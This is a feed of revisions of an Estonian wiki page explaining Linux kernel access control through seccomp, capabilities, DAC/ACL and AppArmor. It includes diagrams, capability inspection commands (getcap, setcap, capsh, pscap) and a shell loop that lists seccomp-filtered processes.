      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3441</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3441"/>
		<updated>2026-05-04T00:03:03Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root, siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3440</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3440"/>
		<updated>2026-05-04T00:02:29Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tööpõhimõte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
